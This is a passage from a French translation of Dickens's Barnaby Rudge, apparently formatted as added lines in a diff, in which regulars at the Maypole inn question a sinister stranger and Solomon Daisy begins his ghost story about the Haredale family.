+d'entretenir, tant que durait le jour, quelques-uns de ces
+volatiles, seyait à merveille au Maypole et paraissait l'inviter à
+dormir. Avec ses étages superposés, ses petites vitres brouillées
+et comme assoupies, sa façade bombante et surplombant sur la
+chaussée, la vieille maison avait l'air de pencher la tête dans
+son sommeil. Véritablement, il ne fallait pas un très grand effort
+d'imagination pour y découvrir d'autres ressemblances encore avec
+l'humanité. Les briques dont elle était bâtie avaient été
+primitivement d'un gros rouge foncé, mais elles étaient devenues
+jaunes et décolorées comme la peau d'un vieillard; les solides
+charpentes étaient tombées, comme tombent les dents d'une vieille
+mâchoire, et çà et là le lierre, tel qu'un chaud vêtement propre à
+réconforter son grand âge, enveloppait et serrait de ses vertes
+feuilles les murailles rongées par le temps.
+
+C'était pourtant une vieillesse robuste encore et généreuse; et
+les soirs d'été ou d'automne, quand le soleil couchant illuminait
+les chênes et les châtaigniers de la forêt voisine, la vieille
+maison, partageant leur éclat, semblait être leur digne compagne
+et pouvait se flatter d'avoir dans le corps beaucoup de bonnes
+années encore à vivre.
+
+La soirée dont il s'agit pour nous n'était ni une soirée d'été ni
+une soirée d'automne, mais le crépuscule d'un jour de mars. Le
+vent hurlait alors d'une manière effrayante à travers les branches
+nues des arbres, et en grondant sourdement dans les amples
+cheminées, en fouettant la pluie contre les fenêtres de l'auberge
+du Maypole, il donnait à ceux des habitués qui s'y trouvaient en
+ce moment une incontestable raison d'y prolonger leur séance, en
+même temps qu'il permettait à l'aubergiste de prophétiser que le
+ciel devait s'éclaircir juste à onze heures sonnantes, ce qui
+coïncidait étonnamment avec l'heure où il fermait toujours sa
+maison.
+
+Le nom de celui sur lequel descendait ainsi l'inspiration
+prophétique, était John Willet, homme corpulent, à large tête,
+dont la face rebondie dénotait une profonde obstination et une
+rare lenteur d'intelligence, combinées avec une confiance
+vigoureuse en son propre mérite. La vanterie ordinaire de John
+Willet, dans sa plus grande tranquillité d'humeur, consistait à
+dire que, s'il n'était pas prompt d'esprit, au moins il était sûr
+et infaillible; assertion qui du moins ne pouvait être contredite,
+lorsqu'on le voyait en toute chose l'opposé de la promptitude,
+comme aussi l'un des gaillards les plus bourrus, les plus absolus
+qui fussent au monde, toujours sûr que ce qu'il disait, pensait ou
+faisait était irréprochable, et le tenant pour une chose établie,
+ordonnée par les lois de la nature et de la Providence, si bien
+que n'importe qui disait, faisait ou pensait autrement, devait
+être inévitablement et de toute nécessité dans son tort.
+
+M. Willet marcha lentement vers la fenêtre, aplatit son nez
+grassouillet contre la froide vitre, et, ombrageant ses yeux pour
+que la rouge lueur de l'âtre ne gênât point sa vue, il regarda au
+dehors. Puis il retourna lentement vers son vieux siège, dans le
+coin de la cheminée, et s'y installant avec un léger frisson,
+comme un homme qui aurait assez pâti du froid pour sentir mieux
+les délices d'un feu qui réchauffe et qui brille, il dit en
+regardant ses hôtes à la ronde:
+
+«Le ciel s'éclaircira à onze heures sonnantes, ni plus tôt ni plus
+tard. Pas avant et pas après.
+
+-- À quoi devinez-vous ça? dit un petit homme dans le coin d'en
+face; la lune n'est plus en son plein, et elle se lève à neuf
+heures.»
+
+John regarda paisiblement et solennellement son questionneur,
+jusqu'à ce qu'il fût bien sûr d'avoir réussi à saisir la portée de
+l'observation, et alors il fit une réponse d'un ton qui semblait
+signifier que la lune était son affaire personnelle, et que nul
+autre n'avait rien à y voir.
+
+«Ne vous inquiétez pas de la lune. Ne vous donnez pas cette peine-
+là. Laissez la lune tranquille, et moi je vous laisserai
+tranquille aussi.
+
+-- Je ne vous ai pas fâché, j'espère?» dit le petit homme.
+
+Derechef John attendit à loisir jusqu'à ce que l'observation eût
+pénétré dans son cerveau, et alors répliquant: «Fâché? non, pas
+jusqu'à présent;» il alluma sa pipe, et fuma dans un calme
+silence. Il jetait de temps en temps un coup d'oeil oblique sur un
+homme enveloppé d'une ample redingote, avec de larges parements
+ornés de galons d'argent tout ternis, et de grands boutons de
+métal. Cet homme était assis à part de la clientèle régulière de
+l'établissement; il portait un chapeau rabattu sur sa figure,
+ombragée d'ailleurs par la main sur laquelle reposait son front.
+Il avait l'air assez peu sociable.
+
+Un autre étranger était assis également, botté et éperonné, à
+quelque distance du feu. Ses pensées, à en juger par ses bras
+croisés, ses sourcils froncés, et le peu de souci qu'il avait de
+la liqueur qu'il laissait devant lui sans y goûter, s'occupaient
+de tout autre chose que du sujet de la conversation, ou des
+messieurs qui conversaient ensemble. C'était un jeune homme
+d'environ vingt-huit ans, d'une taille un peu au-dessus de la
+moyenne, et, quoique d'une figure assez mignonne, à la grâce il
+joignait la vigueur. Il portait ses propres cheveux noirs; il
+avait un costume de cavalier, et ce vêtement, ainsi que ses
+grandes bottes (semblables pour la forme et le style à celles de
+nos _Life-Guards_[6] d'aujourd'hui), montrait d'incontestables
+traces du mauvais état des routes. Mais, tout souillé qu'il était
+de sa course, il était bien habillé, même avec richesse, quoique
+avec une simplicité de bon goût; en un mot, il avait l'air d'un
+charmant _gentleman_.
+
+Sur la table, à côté de lui, gisaient négligemment une lourde
+cravache et un chapeau à bords plats, qui sans doute convenait
+mieux à l'inclémence de la température. Il y avait aussi là une
+paire de pistolets dans leurs fontes, avec un court manteau de
+cavalier. On ne voyait de sa figure que les longs cils noirs qui
+cachaient ses yeux baissés; mais un air d'aisance négligente et de
+grâce aussi parfaite que naturelle dans les attitudes circulait
+sur toute sa personne, et semblait même se répandre sur ces menus
+accessoires, tous beaux et en bon état.
+
+Une seule fois M. Willet laissa ses yeux errer vers le jeune
+gentleman, comme pour lui demander à la muette s'il avait remarqué
+son silencieux voisin. Évidemment John et le jeune gentleman
+s'étaient souvent rencontrés à une époque antérieure. Comme son
+coup d'oeil ne lui avait pas été rendu, et n'avait pas même été
+remarqué par la personne à qui il l'avait adressé, John concentra
+graduellement toute sa puissance visuelle dans un foyer unique,
+pour la braquer sur l'homme au chapeau rabattu. Il en vint même, à
+la longue, à une fixité de regard d'une intensité si notable,
+qu'elle frappa ses compères du coin du feu. Tous, d'un commun
+accord, ôtant leurs pipes de leurs lèvres, se mirent également à
+considérer l'étranger, l'oeil fixe, la bouche béante.
+
+Le robuste aubergiste avait une paire de grands yeux stupides
+comme des yeux de poisson, et le petit homme qui avait hasardé la
+remarque au sujet de la lune (il était sacristain et sonneur de
+Chigwell, village situé tout près du Maypole) avait de petits yeux
+ronds, noirs et brillants comme des grains de rosaire. Ce petit
+homme portait en outre aux genouillères de sa culotte d'un noir de
+rouille, sur son habit du même ton, et du haut en bas de son gilet
+à pans rabattus, de petits boutons bizarres qui ne ressemblaient à
+rien qu'à ses yeux; mais, par exemple, la ressemblance était si
+frappante, que, lorsqu'ils étincelaient et chatoyaient à la flamme
+de l'âtre également reflétée sur les boucles luisantes de ses
+souliers, il paraissait tout yeux des pieds à la tête et l'on eût
+dit qu'il employait chacun d'eux à contempler le chaland inconnu.
+Qui s'étonnerait qu'un homme devînt mal à son aise sous le feu
+d'une pareille batterie, sans parler des yeux appartenant à Tom
+Cobb le courtaud, marchand de chandelles et buraliste de la poste;
+puis encore au long Philippe Parkes, le garde forestier, qui tous
+deux, gagnés par la contagion de l'exemple, regardaient non moins
+fixement l'homme au chapeau rabattu?
+
+L'étranger finit par devenir mal à son aise; peut-être était-ce de
+se voir exposé à cette fusillade de regards inquisiteurs: peut-
+être cela dépendait-il de la nature de ses méditations
+précédentes; plus probablement de la dernière cause: car,
+lorsqu'il changea sa position et jeta à la hâte un regard autour
+de lui, il tressaillit de se trouver le point le mire de regards
+si perçants, et il lança au groupe de la cheminée un coup d'oeil
+colère et soupçonneux. Ce coup d'oeil eut pour effet de détourner
+immédiatement tous les yeux vers l'âtre, excepté ceux de John
+Willet, lequel, se voyant pris en quelque sorte sur le fait, et
+n'étant pas (comme nous l'avons déjà constaté) d'un naturel très
+vif, restait seul à contempler son hôte d'une façon singulièrement
+gauche et embarrassée.
+
+«Eh bien?» dit l'étranger.
+
+Eh bien! il n'y avait pas grand-chose dans cet Eh bien-là, ce
+n'était pas un long discours.
+
+«J'avais cru que vous demandiez quelque chose,» dit l'aubergiste
+après une pause de deux ou trois minutes, pour se donner le temps
+de la réflexion.
+
+L'étranger ôta son chapeau et découvrit les traits durs d'un homme
+de soixante ans ou environ. Ils étaient fatigués et usés par le
+temps. Leur expression, naturellement rude, n'était pas adoucie
+par un foulard noir serré autour de sa tête, et qui, tout en
+tenant lieu de perruque, ombrageait son front et cachait presque
+ses sourcils Était-ce pour distraire les regards et leur dérober
+une profonde balafre à présent cicatrisée en une laide couture,
+mais qui, lorsqu'elle était fraîche, avait dû mettre à nu la
+pommette de la joue? Si c'était là son but, il n'y réussissait
+guère, car elle sautait aux yeux. Son teint était d'une nuance
+cadavéreuse, et il avait une barbe grise, déjà longue de quelque
+trois semaines de date. Tel était le personnage (très piètrement
+vêtu) qui se leva alors de son siège et vint, en se promenant à
+travers la salle, se rasseoir dans le coin de la cheminée, que lui
+céda très vite le petit sacristain, par politesse ou par crainte.
+
+«Un voleur de grand chemin! chuchota Tom Cobb à Parkes, le garde
+forestier.
+
+-- Croyez-vous que les voleurs de grand chemin n'ont pas un plus
+beau costume que celui-là? repartit Parkes C'est, quelque chose de
+mieux que ce que vous pensez, Tom. Les voleurs de grand chemin ne
+sont pas des gueux en guenilles, ce n'est pas dans leurs goûts ni
+dans leurs habitudes, je vous en donne ma parole.»
+
+Pendant ce dialogue, le sujet de leurs conjectures avait fait à
+l'établissement l'honneur de demander quelque breuvage, qui lui
+avait été servi par Joe[7], fils de l'aubergiste, gars d'une
+vingtaine d'années, à larges épaules bien découplé, que son père
+se plaisait encore à considérer comme un petit garçon, et à
+traiter en conséquence. Étendant ses mains pour les réchauffer au
+feu de l'âtre, l'homme tourna la tête du côté de la compagnie, et,
+après l'avoir parcourue d'un regard perçant, il dit, d'une voix
+bien appropriée à son extérieur:
+
+«Quelle est donc cette maison qui se trouve à environ un mille
+d'ici?
+
+-- Un cabaret? dit l'aubergiste de son ton habituel.
+
+-- Un cabaret, père! se récria Joe. Y pensez-vous? un cabaret à un
+mille environ du Maypole? Il veut parler de la grande maison, la
+Garenne, rien de plus clair. N'est-ce pas, monsieur, la vieille
+maison en briques rouges, bâtie sur ses propres terres?
+
+-- Oui, dit l'étranger.
+
+-- Et qui était, il y a quinze ou vingt ans, au milieu d'un parc
+cinq fois aussi vaste. Ce parc, ainsi que d'autres domaines plus
+riches, a changé de mains pièce à pièce et a disparu. C'est bien
+dommage, poursuivit le jeune homme.
+
+-- Possible, fut la réplique. Mais ma question concernait le
+propriétaire. Ce qu'a été la maison, je ne m'en soucie guère; et
+pour ce qu'elle est, je peux bien le voir par moi-même.»
+
+L'héritier présomptif du Maypole pressa ses lèvres de son doigt;
+et lançant un coup d'oeil du côté du jeune gentleman que nous
+avons déjà fait connaître, et qui avait changé d'attitude la
+première fois qu'on avait parlé de la maison, il répliqua d'un ton
+moins haut:
+
+«Le propriétaire se nomme Haredale, M. Geoffroy Haredale, et...
+(il lança de nouveau un coup d'oeil dans la même direction) et un
+digne gentleman encore... Hem!»
+
+Ne faisant pas plus attention à cette toux d'avertissement qu'au
+geste significatif dont elle avait été précédée, l'étranger
+continua son rôle de questionneur.
+
+«Je me suis détourné de mon chemin en venant ici, et j'ai pris le
+sentier pour traverser les terres de cette Garenne. Quelle est la
+jeune dame que j'ai vue monter en voiture? serait-ce sa fille?
+
+-- Mais comment le saurais-je, mon brave homme? répliqua Joe, qui
+essayait, tout en faisant quelques rangements autour de l'âtre, de
+s'avancer près de son questionneur et de le tirer par la manche;
+je n'ai jamais vu la jeune dame dont vous parlez. Aïe!... Encore
+du vent et de la pluie! Bon, en voilà une soirée!
+
+-- Diable de temps, en effet! observa l'étranger.
+
+-- Vous y êtes habitué, n'est-ce pas? dit Joe, saisissant tout ce
+qui semblait promettre une diversion au sujet de l'entretien.
+
+-- Mais oui, pas mal comme ça, repartit l'autre. Revenons donc à
+la jeune dame. Est-ce que M. Haredale a une fille?
+
+-- Non, non, dit le jeune homme impatienté; il est célibataire...
+il est... laissez-nous donc un peu tranquilles, mon brave homme,
+si c'est possible. Ne voyez-vous pas bien qu'on ne goûte pas trop
+là-bas votre conversation?»
+
+Sans tenir compte de cette remontrance chuchotée, et faisant
+semblant de ne pas l'entendre, le bourreau poursuivit, de manière
+à pousser Joe à bout:
+
+«La belle raison! Ce n'est pas la première fois que des
+célibataires ont eu des filles. Comme si elle ne pouvait pas être
+sa fille sans qu'il fût marié!
+
+-- Je ne sais pas ce que vous voulez dire,» répondit Joe, ajoutant
+d'un ton plus bas et en se rapprochant de lui: «Ah çà! vous le
+faites donc exprès, hein?
+
+-- Ma foi! je n'ai pas du tout de mauvaise intention. Je ne vois
+pas de mal à ça. Je fais quelques questions, ainsi que tout
+étranger peut le faire naturellement, sur les habitants d'une
+maison remarquable, dans un pays nouveau pour moi, et vous voilà
+tout troublé, tout effaré, comme si je conspirais contre le roi
+Georges!... Ne pouvez-vous pas, monsieur, me donner tout bonnement
+cette explication? car enfin, je vous le répète, je suis étranger;
+et tout ça, c'est de l'hébreu pour moi.»
+
+La dernière observation était adressée à la personne qui causait
+évidemment l'embarras de Joe Willet. Elle s'était levée, mettait
+son manteau de voyage et se préparait à sortir. Ayant répondu
+d'une manière brève qu'il ne pouvait pas lui donner de
+renseignements, le jeune homme fit un signe à Joe, lui tendit une
+pièce de monnaie pour payer sa dépense, et s'élança dehors,
+accompagné du jeune Willet lui-même, qui prit une chandelle pour
+le suivre et l'éclairer jusqu'à la porte.
+
+Pendant que Joe s'absentait pour s'acquitter de cet office, le
+vieux Willet et ses trois compagnons continuèrent à fumer avec une
+extrême gravité, dans un profond silence, ayant chacun leurs yeux
+fixés sur un chaudron de cuivre qui était pendu à la crémaillère
+sur le feu. Au bout de quelque temps, John Willet secoua lentement
+la tête, et là-dessus ses amis secouèrent aussi lentement la tête,
+mais sans que personne détournât ses yeux du chaudron, et sans
+rien changer à l'expression solennelle de leur physionomie.
+
+Enfin Joe rentra, fort causeur et fort conciliant, comme un homme
+qui s'attend à être grondé et qui voudrait esquiver le coup.
+
+«Ce que c'est que l'amour! dit-il en avançant une chaise près du
+feu et jetant à la ronde un regard qui cherchait la sympathie. Il
+vient de partir pour Londres, tout du long, rien que ça. Son
+bidet, qu'il a rendu boiteux à le faire galoper ici cette après-
+midi, venait à peine de se reposer sur une confortable litière
+dans notre écurie il n'y a qu'un instant; et lui-même le voilà qui
+renonce à un bon souper bien chaud et à notre meilleur lit...
+pourquoi? parce que Mlle Haredale est allée à un bal masqué à
+Londres, et qu'il met la joie de son coeur à la voir. Ce n'est pas
+moi qui ferais ça, toute belle qu'elle est. Mais moi, je ne suis
+pas amoureux, ou ce serait donc sans le savoir; et ça fait une
+fière différence.
+
+-- Il est donc amoureux, dit l'étranger?
+
+-- Un peu, répliqua Joseph: il pourrait bien l'être moins, mais il
+ne peut pas l'être plus.
+
+-- Silence, monsieur! cria le père.
+
+-- Quel luron vous faites, Joseph! dit le long Parkes.
+
+-- Peut-on voir un garçon plus inconsidéré! murmura Tom Cobb.
+
+-- Se lancer comme ça! tordre et arracher le nez de son propre
+père! exclama le sacristain par forme de métaphore.
+
+-- Qu'est-ce que j'ai donc fait? répliqua le pauvre Joe.
+
+-- Silence, monsieur! repartit son père; pourquoi vous avisez-vous
+de parler, quand vous voyez des gens qui ont deux ou trois fois
+votre âge rester tranquillement assis sans souffler mot?
+
+-- Eh bien alors, n'est-ce pas justement le bon moment de parler?
+dit Joe d'un air mutin.
+
+-- Le bon moment, monsieur! riposta son père, le bon moment! il
+n'y a pas de bon moment!
+
+-- Ah! certainement, marmotta Parkes en penchant gravement la tête
+vers les deux autres, qui penchèrent leur tête par réciproque, et
+qui murmurèrent tout bas que l'observation était d'une grande
+justesse.
+
+-- Oui, monsieur, le bon moment, c'est le moment de se taire,
+répéta John Willet, quand j'étais à votre âge, jamais je ne
+parlais, je n'avais jamais la démangeaison de parler, j'écoutais
+pour m'instruire... Voilà ce que je faisais, moi.
+
+-- Et voilà ce qui fait que vous avez dans votre père un rude
+jouteur pour le raisonnement, Joe, dit Parkes, si tant est que
+personne se frotte à raisonner avec lui.
+
+-- Quant à cela, Philippe, observa M. Willet en soufflant d'un
+coin de sa bouche un nuage de fumée long, mince et sinueux, et en
+le regardant d'un air abstrait flotter et disparaître, quant à
+cela, Philippe, le raisonnement est un don de la nature. Si la
+nature doue un homme des puissances du raisonnement, un homme a le
+droit de s'en faire honneur, il n'a pas le droit de s'en tenir à
+une fausse modestie et de nier qu'il ait reçu ce don-là: car c'est
+tourner le dos à la nature, c'est se moquer d'elle, c'est
+mésestimer ses plus précieux cadeaux, c'est se ravaler jusqu'au
+pourceau, qui ne mérite pas qu'elle jette ses perles devant lui.»
+
+L'aubergiste ayant fait une longue pause, M. Parkes en conclut
+naturellement que le discours était terminé aussi, se tournant
+avec un air austère vers le jeune homme, il s'écria:
+
+«Vous entendez, ce que dit votre père, Joe? Vous n'aimeriez pas
+trop à vous frotter à lui pour le raisonnement, n'est-ce pas?
+
+-- Si..., dit John Willet en reportant ses yeux du plafond au
+visage de son interrupteur, et en articulant le monosyllabe comme
+avec des majuscules, pour lui apprendre qu'il avait fait un pas de
+clerc en s'engageant avec une précipitation malséante et
+irrespectueuse, si la nature m'avait conféré, monsieur, le don du
+raisonnement, pourquoi ne l'avouerais-je pas, ou plutôt pourquoi
+ne m'en glorifierais-je pas? Oui, monsieur, je suis un rude
+jouteur de ce côté-là. Vous avez raison, monsieur: j'ai fait mes
+preuves, monsieur, dans cette salle mainte et mainte fois, comme
+vous le savez, je pense; ou si vous ne le savez pas, ajouta John
+remettant sa pipe à sa bouche, tant mieux, car je n'ai pas
+d'orgueil, et ce n'est pas moi qui irai vous le conter.»
+
+Un murmure général de ses trois compères, accompagné d'un
+mouvement général de leurs têtes approbatives, toujours dans la
+direction du chaudron de cuivre, assura John Willet qu'ils avaient
+trop bien expérimenté ses facultés puissantes, et qu'ils n'avaient
+pas besoin de preuves ultérieures pour être convaincus de sa
+supériorité. John n'en fuma qu'avec plus de dignité, les examinant
+en silence.
+
+«Une très jolie conversation, marmotta Joe, qui s'était remué sur
+sa chaise avec des gestes de mécontentement. Mais si vous entendez
+me dire par là que je ne dois jamais ouvrir la bouche...
+
+-- Silence, monsieur! vociféra le père. Non, vous ne le devez
+jamais. Quand on vous demande votre avis, donnez-le. Quand on vous
+parle, parlez. Quand on ne vous demande pas votre avis et qu'on ne
+vous parle pas, ne donnez pas votre avis et ne parlez pas. Ma foi!
+le monde a subi un beau changement depuis ma jeunesse. Je crois,
+vraiment, qu'il n'y a plus d'enfants; qu'il n'y en a plus du tout
+d'enfants; qu'il n'y a plus de différence entre un moutard et un
+homme, et que tous les enfants sont partis de ce monde avec feu Sa
+Majesté le roi George Il.
+
+-- Voilà une observation très juste, en exceptant toujours les
+jeunes princes, dit le sacristain, qui, en sa double qualité de
+représentant de l'Église et de l'État dans cette compagnie, se
+croyait tenu à la plus parfaite fidélité envers ses souverains. Si
+c'est d'institution divine et légale que les petits garçons, tant
+qu'ils sont encore dans l'âge où l'on est petit garçon, se
+conduisent comme des petits garçons, il faut bien que les jeunes
+princes soient des petits garçons, et ils ne sauraient être autre
+chose.
+
+-- Avez-vous jamais, monsieur, entendu parler de sirènes? dit
+M. Willet.
+
+-- Certainement, j'en ai entendu parler, répliqua le sacristain.
+
+-- Très bien, dit M. Willet. D'après la constitution des sirènes,
+tout ce qui, dans la sirène, n'est point femme, doit être poisson.
+D'après la constitution des jeunes princes, tout ce qui, dans un
+jeune prince, si c'est possible, n'est pas réellement ange, doit
+être divin et légal. En conséquence, s'il est convenable, divin et
+légal que les jeunes princes (comme cela l'est à leur âge) soient
+des petits garçons, ils sont et doivent être des petits garçons,
+et il est de toute impossibilité qu'ils soient autre chose.»
+
+Cette élucidation d'un point épineux ayant été reçue avec des
+marques d'approbation bien propres à mettre John Willet de bonne
+humeur il se contenta de répéter à son fils l'ordre de garder le
+silence, et s'adressant à l'étranger: «Monsieur, dit-il, si vous
+aviez posé vos questions à une grande personne, à moi ou à l'un de
+ces messieurs, on vous eût satisfait, et vous n'eussiez pas perdu
+vos peines. Mlle Haredale est la nièce de M. Geoffroy Haredale.
+
+-- Son père existe-t-il? dit l'homme négligemment.
+
+-- Non, répliqua l'aubergiste, il n'existe plus, et il n'est pas
+mort.
+
+-- Pas mort! s'écria l'autre.
+
+-- Pas mort comme on l'est généralement.» dit l'aubergiste.
+
+Les compères inclinèrent leurs têtes l'un vers l'autre, et
+M. Parkes, en secouant quelque temps la sienne comme pour dire
+«Allons! allons! qu'on ne vienne pas me contredire là-dessus, car
+personne ne me ferait croire le contraire», dit à voix basse:
+«John Willet est ce soir d'une force étonnante, et capable de
+tenir tête à un président de cour de justice.»
+
+L'étranger laissa s'écouler quelques moments sans rien dire, puis
+ensuite il demanda d'une manière un peu brusque:
+
+«Qu'entendez-vous par là?
+
+-- Plus que vous ne pensez, l'ami, répondit John Willet. Il y a
+peut-être plus de portée dans ces mots-là que vous ne le
+soupçonnez.
+
+-- Ça peut bien être, dit l'étranger d'un ton bourru, mais
+pourquoi diable parlez-vous d'une façon si mystérieuse? Vous me
+dites d'abord qu'un homme n'existe plus, et que cependant il n'est
+pas mort, puis qu'il n'est pas mort comme on l'est généralement,
+puis que vous entendez par là beaucoup plus de choses que je ne
+pense. Eh bien! je vous le répète, qu'entendez-vous par là?
+
+-- C'est que, répondit l'aubergiste un peu ébranlé dans sa dignité
+par l'humeur rudanière de son hôte, c'est une histoire du Maypole,
+et qui a bien quelque vingt-quatre ans. Cette histoire est
+l'histoire de Salomon Daisy: elle appartient à l'établissement; et
+personne autre que Salomon Daisy ne l'a jamais racontée sous ce
+toit, ni personne que lui ne la racontera jamais, c'est bien plus
+fort.»
+
+L'homme lança un regard au sacristain. Celui-ci, dont l'air
+important et capable témoignait ouvertement que c'était lui dont
+l'aubergiste venait de parler, avait commencé par retirer sa pipe
+de ses lèvres après une longue aspiration pour l'entretenir
+allumée, et se disposait évidemment à raconter son histoire sans
+se faire prier davantage; ce que voyant, l'étranger ramassa son
+large manteau autour de lui, et, se retirant plus en arrière, se
+trouva presque perdu dans l'obscurité du coin de la spacieuse
+cheminée, si ce n'est lorsque la flamme, parvenant à se dégager de
+dessous le gros fagot dont le poids l'avait presque étouffée
+pendant quelque temps, jaillit en haut avec un soudain et violent
+éclat, et, illuminant un moment sa figure, parut ensuite la
+rejeter dans une obscurité plus profonde qu'auparavant.
+
+À la lueur de cette clarté voltigeante, qui faisait que la vieille
+maison, avec ses lourdes poutres et ses murailles boisées, avait
+l'air d'être construite en ébène polie, le vent rugissant et
+hurlant au dehors, tantôt secouant de toutes ses forces le loquet,
+tantôt faisant grincer les gonds de la solide porte de chêne,
+tantôt enfin venant battre le châssis comme s'il allait
+l'enfoncer; à la lueur de cette clarté, dis-je, et dans des
+circonstances si propices, Salomon Daisy commença son histoire:
+
+«C'était M. Reuben Haredale, frère aîné de M. Geoffroy.» Ici, il
+eut une espèce d'accroc, et fit une si longue halte, que John
+Willet lui-même en éprouva de l'impatience, et demanda pourquoi il
+ne continuait pas.
+
+«Cobb, dit Salomon Daisy baissant la voix et interpellant le
+buraliste de la poste, le combien sommes-nous du mois?
+
+-- Le dix-neuf.
+
+-- De mars, dit le sacristain en se penchant en avant, le dix-neuf
+de mars, c'est fort extraordinaire.»
+
+Tous répétèrent à voix basse que c'était fort extraordinaire et
+Salomon poursuivit.
+
+«C'était M. Reuben Haredale, frère de M. Geoffroy, qui était, il y
+a vingt-deux ans, le propriétaire de la Garenne, laquelle Garenne
+comme l'a dit Joe (non pas que vous vous rappeliez cela, Joe,
+c'est trop ancien pour un jouvenceau de votre âge, mais vous me
+l'avez entendu dire), était un domaine plus vaste et bien
+meilleur, une propriété d'une valeur bien plus considérable
+qu'aujourd'hui. Son épouse venait de mourir, lui laissant un
+enfant, Mlle Haredale, l'objet de vos informations, elle avait
+alors un an à peine.»
+
+Quoique l'orateur se fut adressé à l'homme qui avait montré tant
+de curiosité à l'égard de cette famille, et qu'il eût fait là une
+pause, comme s'il attendait quelque exclamation de surprise et
+d'encouragement, ce dernier ne fit aucune remarque, aucun signe
+qui pût seulement faire croire qu'il eût entendu ce qu'on venait
+de dire ni qu'il y prît le moindre intérêt. Salomon se tourna en
+conséquence vers ses vieux camarades, dont les nez étaient
+brillamment illuminés par la lueur rouge foncé des fourneaux de
+leurs pipes. Assuré par une longue expérience de leur attention,
+et résolu à faire voir qu'il sentait toute l'indécence d'une
+conduite pareille:
+
+«M. Haredale, dit Salomon en tournant le dos à l'étranger, quitta
+ce domaine après la mort de son épouse, il s'y trouvait trop
+isolé, et s'en alla à Londres où il séjourna quelques mois, mais
+se trouvant dans cette ville tout autant isolé qu'ici (je le
+suppose du moins, et je l'ai toujours ouï dire), il revint tout à
+coup avec sa petite fille à la Garenne, amenant en outre avec lui
+ce jour-là seulement deux femmes de service, son intendant et un
+jardinier.»
+
+M. Daisy s'arrêta pour faire un nouvel appel à sa pipe qui allait
+s'éteindre, et il continua, d'abord d'un ton nasillard causé par
+la mordante jouissance du tabac et l'énergique aspiration
+qu'exigeait l'entretien de son instrument, mais ensuite avec une
+netteté de voix toujours croissante.
+
+«Amenant avec lui, ce jour-là, deux femmes de service, son
+intendant et un jardinier, le reste de ses gens avait été laissé à
+Londres et devait venir le lendemain. Il arriva que, ce même soir,
+un vieux gentleman qui demeurait à Chigwell-row, où il avait
+longtemps vécu pauvrement, décéda, et que je reçus à minuit et
+demi l'ordre d'aller sonner le glas des trépassés.»
+
+Il y eut ici dans le petit groupe des auditeurs un mouvement qui
+indiqua d'une manière sensible la forte répugnance que chacun
+d'entre eux aurait éprouvée à sortir à pareille heure pour une
+pareille commission. Le sacristain s'aperçut de ce mouvement, le
+comprit et développa son thème en conséquence.
+
+«Oui, ce n'était pas gai, allez; d'autant plus que, comme le
+fossoyeur était alité, à force d'avoir travaillé dans un sol
+malsain, et pour s'être assis en prenant son repas sur la pierre
+froide d'une tombe, il me fallait absolument aller seul, car une
+heure si avancée ne me laissait pas l'espoir de trouver quelque
+autre compagnon. J'étais cependant un peu préparé à cela; le vieux
+gentleman avait souvent demandé que l'on tintât la cloche le plus
+tôt possible après son dernier soupir; et depuis quelques jours on
+s'attendait à le voir passer d'un moment à l'autre. Je fis donc
+contre fortune bon coeur, et, bien emmitouflé, car c'était par un
+froid mortel, je m'élançai dehors, tenant d'une main ma lanterne
+allumée et de l'autre la clef de l'église.
+
+À cet endroit du récit, le vêtement de l'étranger rendit un
+froissement, comme s'il se fût tourné pour entendre d'une manière
+plus distincte. Regardant avec dédain par-dessus son épaule,
+Salomon haussa les sourcils, inclina la tête, et fit l'oeil à Joe
+pour savoir si en effet le monsieur se dérangeait pour écouter.
+Joe, ombrageant ses yeux avec sa main, sonda l'encoignure; mais,
+ne pouvant rien découvrir, il secoua la tête comme pour dire non.
+
+«C'était précisément une nuit telle que celle-ci. L'ouragan
+sifflait, il pleuvait à torrents, le ciel était plus noir que je
+ne l'ai jamais vu, ni avant ni depuis. C'est peut-être une idée;
+mais les maisons étaient toutes bien closes, les gens étaient chez
+eux, et il n'y a peut-être que moi qui sache réellement combien il
+faisait noir. J'entrai dans l'église, j'attachai la porte en
+arrière avec la chaîne, de sorte qu'elle restât entrebâillée: car,
+pour dire la vérité, je n'aurais pas voulu être enfermé là tout
+seul, et, posant ma lanterne sur le siège de pierre, dans le petit
+coin où est la corde de la cloche, je m'assis à côté pour moucher
+la chandelle.
+
+«Je m'assis pour moucher la chandelle, et, quand j'eus fini de la
+moucher, je ne pus point me résoudre à me lever et à me mettre à
+l'ouvrage. Je ne sais pas comment cela se fit, mais je pensais à
+toutes les histoires de fantômes que j'avais entendu raconter,
+même à celles que j'avais entendu raconter quand j'étais petit
+garçon à l'école, et que j'avais oubliées depuis longtemps, et
+notez bien qu'elles ne me revenaient pas à l'esprit une à une,
+mais toutes à la fois, et comme en bloc.
+
+«Je me rappelai une histoire de notre village, comme quoi il y
+avait une certaine nuit dans l'année (rien ne me disait que ce ne
+fût pas cette nuit-là même), où tous les morts sortaient de terre
+et s'asseyaient au chevet de leurs propres fosses jusqu'au matin.
+Cela me fit songer combien de gens que j'avais connus étaient
+enterrés entre la porte de l'église et la porte du cimetière, et
+quelle chose effroyable ce serait que d'avoir à passer au milieu
+d'eux et de les reconnaître, malgré leurs figures terreuses, et
+quoique si différents d'eux-mêmes. Je connaissais depuis mon
+enfance toutes les niches et tous les arceaux de l'église;
+cependant je ne pouvais me persuader que ce fût leur ombre que je
+voyais sur les dalles, mais j'étais convaincu qu'il y avait là une
+foule de laides figures qui se cachaient parmi ces ombres pour
+m'épier. Dans le cours de mes réflexions, je commençai à penser au
+vieux gentleman qui venait de mourir, et j'aurais juré, lorsque je
+regardais en haut le noir sanctuaire, que je le voyais à sa place
+accoutumée, s'enveloppant de son linceul, et frissonnant comme
+s'il eût senti froid. Tout ce temps, je restai assis écoutant,
+écoutant toujours, et n'osant presque pas respirer. À la fin je me
+levai brusquement et je pris dans mes mains la corde de la cloche.
+Au moment même sonna, non pas cette cloche, car j'avais à peine
+touché la corde, mais une autre.
+
+«J'entendis sonner une autre cloche, et une fameuse cloche encore.
+Ce fut l'affaire d'un instant, car le vent emporta le son, mais je
+l'entendis. J'écoutai longtemps, mais plus rien. J'avais ouï dire
+que les morts avaient des chandelles à eux; je finis par me
+persuader qu'ils pouvaient bien aussi avoir une cloche qui tintait
+d'elle-même à minuit pour les trépassés. Je tintai ma cloche,
+comment ou combien de temps, je n'en sais rien, et je courus
+regagner la maison et mon lit sans regarder derrière mes talons.
+
+«Je me levai le lendemain matin après une nuit sans sommeil, et je
